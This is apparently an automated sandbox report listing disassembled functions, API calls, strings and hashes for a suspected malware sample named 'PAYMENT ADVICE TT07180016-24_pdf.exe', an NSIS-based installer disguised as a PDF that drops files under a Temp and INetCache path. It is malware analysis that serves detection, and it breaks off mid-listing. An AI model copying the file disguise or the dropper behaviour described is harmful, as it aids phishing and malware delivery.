Instruction Fuzzy Hash: 79610371A00504EBDF20AF64CC40BAE37A5AF55324F16817FE942BA2D0D73D9AA1CB4D

Function 00405846 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe"), ref: 0040586F
lstrcatW.KERNEL32(0042F270,\*.*,0042F270,?,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe"), ref: 004058B7
lstrcatW.KERNEL32(?,0040A014,?,0042F270,?,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe"), ref: 004058DA
lstrlenW.KERNEL32(?,?,0040A014,?,0042F270,?,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe"), ref: 004058E0
FindFirstFileW.KERNEL32(0042F270,?,?,?,0040A014,?,0042F270,?,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe"), ref: 004058F0
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,0040A300,0000002E), ref: 00405990
FindClose.KERNEL32(00000000), ref: 0040599F

Strings

\*.*, xrefs: 004058B1
C:\Users\user\AppData\Local\Temp\, xrefs: 00405853
"C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe", xrefs: 0040584F

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-4225328645
Opcode ID: 93e21722a180473d247efaee9d9481d6b8afddc4eaefe0f7bae919d4fb0dd793
Instruction ID: 3422579b2d55acfa562187ab3f611d485c5dde76635b84dd87a68d04928cc13f
Opcode Fuzzy Hash: 93e21722a180473d247efaee9d9481d6b8afddc4eaefe0f7bae919d4fb0dd793
Instruction Fuzzy Hash: 4541F270900A04EADF21AB618C89BBF7678EF41724F14823BF801B51D1D77C49859E6E

Function 00402095 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004085A8,?,00000001,00408598,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402114

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 00402154

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving
API String ID: 542301482-2168965836
Opcode ID: 146cf55ee0b1f2e236d84f42d428f2d21f191b8343958f8e7f458ea2ed3a719d
Instruction ID: 1a24425b30559046e2e45c95ea19553466384e890d2313978d3609d0df4c75fa
Opcode Fuzzy Hash: 146cf55ee0b1f2e236d84f42d428f2d21f191b8343958f8e7f458ea2ed3a719d
Instruction Fuzzy Hash: 3E412C71A00208AFCF00DFA4CD88AAD7BB5FF48314B24457AF515EB2D1DBB99A41CB54

Function 00406398 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(74DF3420,004302B8,0042FA70,00405B5A,0042FA70,0042FA70,00000000,0042FA70,0042FA70,74DF3420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,74DF3420,C:\Users\user\AppData\Local\Temp\), ref: 004063A3
FindClose.KERNEL32(00000000), ref: 004063AF

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 26ecc7b94827cd81dbcd23612912991a36a9a8e6a086a5859bf6985d6c65a255
Instruction ID: 3b49439eae3a82ac9864466e1d27f896d1b9bc200308884f11696e1f8cd425af
Opcode Fuzzy Hash: 26ecc7b94827cd81dbcd23612912991a36a9a8e6a086a5859bf6985d6c65a255
Instruction Fuzzy Hash: 3AD012755081209BC28117386E0C84B7A5C9F193317115B36FE6BF22E0CB388C6786DC

Function 004027FB Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000002), ref: 0040280A

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: e4085221f00f99ea28b48dcf57fb83f2b364f19060254b57e6142408856da5b4
Instruction ID: 801a3ec73fa0f8c7b921e95059ce856047ace0635644dd2743fa1cdad283ab42
Opcode Fuzzy Hash: e4085221f00f99ea28b48dcf57fb83f2b364f19060254b57e6142408856da5b4
Instruction Fuzzy Hash: C5F08C71A005149BCB01EFA4DE49AAEB378FF04324F2045BBF105F31E1E7B89A409B29

Function 00403C41 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C7D
ShowWindow.USER32(?), ref: 00403C9A
DestroyWindow.USER32 ref: 00403CAE
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CCA
GetDlgItem.USER32(?,?), ref: 00403CEB
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403CFF
IsWindowEnabled.USER32(00000000), ref: 00403D06
GetDlgItem.USER32(?,00000001), ref: 00403DB4
GetDlgItem.USER32(?,00000002), ref: 00403DBE
SetClassLongW.USER32(?,000000F2,?), ref: 00403DD8
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E29
GetDlgItem.USER32(?,00000003), ref: 00403ECF
ShowWindow.USER32(00000000,?), ref: 00403EF0
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403F02
EnableWindow.USER32(?,?), ref: 00403F1D
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F33
EnableMenuItem.USER32(00000000), ref: 00403F3A
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403F52
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F65
lstrlenW.KERNEL32(0042D268,?,0042D268,00433F00), ref: 00403F8E
SetWindowTextW.USER32(?,0042D268), ref: 00403FA2
ShowWindow.USER32(?,0000000A), ref: 004040D6

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 3899400ff8e588ca518489e250fd262a6eccf12b27110187e4fcf668c4fe1b6b
Instruction ID: ea0d75974b1de0ff06d17ebe4cf6f8c3df4269cbbec1c2e45b889e3be151f72f
Opcode Fuzzy Hash: 3899400ff8e588ca518489e250fd262a6eccf12b27110187e4fcf668c4fe1b6b
Instruction Fuzzy Hash: 51C1AEB1604300ABDB206F61ED85E2B7AA8EB94706F50053EF641B61F0CB7999529B2D

Function 0040389E Relevance: 47.5, APIs: 14, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,00000020,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

GetUserDefaultUILanguage.KERNELBASE(00000002,74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,"C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe"), ref: 004038B8

Part of subcall function 00405F9C: wsprintfW.USER32 ref: 00405FA9

lstrcatW.KERNEL32(1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,"C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe"), ref: 0040391F
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,74DF3420), ref: 0040399F
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000), ref: 004039B2
GetFileAttributesW.KERNEL32(Call), ref: 004039BD
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving), ref: 00403A06
RegisterClassW.USER32(00433EA0), ref: 00403A43
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403A5B
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403A90
ShowWindow.USER32(00000005,00000000), ref: 00403AC6
GetClassInfoW.USER32(00000000,RichEdit20W,00433EA0), ref: 00403AF2
GetClassInfoW.USER32(00000000,RichEdit,00433EA0), ref: 00403AFF
RegisterClassW.USER32(00433EA0), ref: 00403B08
DialogBoxParamW.USER32(?,00000000,00403C41,00000000), ref: 00403B27

Strings

RichEdit, xrefs: 00403AF9
.DEFAULT\Control Panel\International, xrefs: 0040390A
RichEd20, xrefs: 00403ACC
RichEdit20W, xrefs: 00403AEA, 00403AF0
.exe, xrefs: 004039AC
"C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe", xrefs: 004038A1
RichEd32, xrefs: 00403ADA
Control Panel\Desktop\ResourceLocale, xrefs: 004038D2
_Nb, xrefs: 00403A22, 00403A8A
Call, xrefs: 00403966, 0040396F, 0040397D, 004039CC, 004039D2
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 0040392E, 00403936, 004039D9, 004039DF, 004039EF
C:\Users\user\AppData\Local\Temp\, xrefs: 004038A3
1033, xrefs: 004038BE, 0040391A

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDefaultDialogFileHandleImageLanguageLoadModuleParamParametersProcShowSystemUserlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 606308-3346856300
Opcode ID: 1b384d1f77ad73b90eb4ead2ce7446fbf64eb66176232e5d4eff2d39ff252f29
Instruction ID: 3415ad5ee5f1eed3d2c0e447cb4c4d8a0153f3b0974deb3f023f39c7f2583bdf
Opcode Fuzzy Hash: 1b384d1f77ad73b90eb4ead2ce7446fbf64eb66176232e5d4eff2d39ff252f29
Instruction Fuzzy Hash: A361CA706406006FD320AF66AD46F2B3A6CEB8474AF40553FF941B22E2DB7D5D41CA2D

Function 00402DEE Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402DFF
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe,00000400,?,?,00000000,0040353A,?), ref: 00402E1B

Part of subcall function 00405C2A: GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe,C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00402E67

Strings

Inst, xrefs: 00402ED3
soft, xrefs: 00402EDC
(*B, xrefs: 00402E7C
C:\Users\user\AppData\Local\Temp\, xrefs: 00402DF5
Error launching installer, xrefs: 00402E3E
"C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe", xrefs: 00402DF4
Null, xrefs: 00402EE5
C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe, xrefs: 00402E05, 00402E14, 00402E28, 00402E48
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00402FC6
C:\Users\user\Desktop, xrefs: 00402E49, 00402E4E, 00402E54

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe"$(*B$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-1904971246
Opcode ID: 4e6222d9f8d31f850ab2b6b3c84cade23aa30136a505619e7e62f3ee6ab772f2
Instruction ID: 7d4f9fc7c678da67c97c1a1890296b71ec8e814f853b941ab64c238268a70fe9
Opcode Fuzzy Hash: 4e6222d9f8d31f850ab2b6b3c84cade23aa30136a505619e7e62f3ee6ab772f2
Instruction Fuzzy Hash: AF51F731904205ABDB209F61DE89B9F7BB8EB44394F14403BF904B62C1C7B89D409BAD

Function 00401767 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving,?,?,00000031), ref: 004017A8
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving,?,?,00000031), ref: 004017CD

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,0041D820,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,74DF23A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Strings

C:\Users\user\AppData\Local\Temp\nsxC748.tmp, xrefs: 00401819, 00401837
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 00401796
Call, xrefs: 00401785, 0040178E, 0040179B, 004017AD, 004017B9, 004017EF, 00401805, 00401823, 0040185F, 004018E0, 004018E9, 004018F3, 004018FE
C:\Users\user\AppData\Local\Temp\nsxC748.tmp\System.dll, xrefs: 0040182D, 00401849

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$C:\Users\user\AppData\Local\Temp\nsxC748.tmp$C:\Users\user\AppData\Local\Temp\nsxC748.tmp\System.dll$Call
API String ID: 1941528284-2625437951
Opcode ID: 7eb387cec2b929145506f0f371aad0ef0a8c00339c8b79c916bd0341b2f4fd7b
Instruction ID: 02e4f6238df89927c362e8fae2a75ca1a565c16d749b69ec27d3a85cbadddcd8
Opcode Fuzzy Hash: 7eb387cec2b929145506f0f371aad0ef0a8c00339c8b79c916bd0341b2f4fd7b
Instruction Fuzzy Hash: 0941B631900515BACF11BFB5CC45EAF7679EF05328B24423BF522B10E1DB3C86519A6D

Function 00403027 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403091
GetTickCount.KERNEL32 ref: 00403138
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403161
wsprintfW.USER32 ref: 00403174

Strings

jA, xrefs: 004030E7
jA, xrefs: 004031F1
... %d%%, xrefs: 0040316E

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: jA$ jA$... %d%%
API String ID: 551687249-2167919867
Opcode ID: d6d85bbee09884fc6a4e27a5c727532f93391e72c67541d57332e7913648c049
Instruction ID: 9abceb1f43df10d1a821086e1d45a58eca4464abfa5f2a46825b956852eb5d51
Opcode Fuzzy Hash: d6d85bbee09884fc6a4e27a5c727532f93391e72c67541d57332e7913648c049
Instruction Fuzzy Hash: AF517C71901259EBDB10CF65DA44BAE7BB8AF05766F10417FF811B62C0C7789E40CBAA

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 0040264D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402688
SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004026AB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004026C1

Part of subcall function 00405D0B: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405D21

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040276D

Strings

9, xrefs: 00402630

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction ID: c11c119823ef092d14edb4d445d1eebecf1e4ba29e3308019af08aa6c5ad61e3
Opcode Fuzzy Hash: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction Fuzzy Hash: 43510874D00219AADF209F94CA88ABEB779FF04344F50447BE501B72E0D7B99D42DB69

Function 0040237B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B9
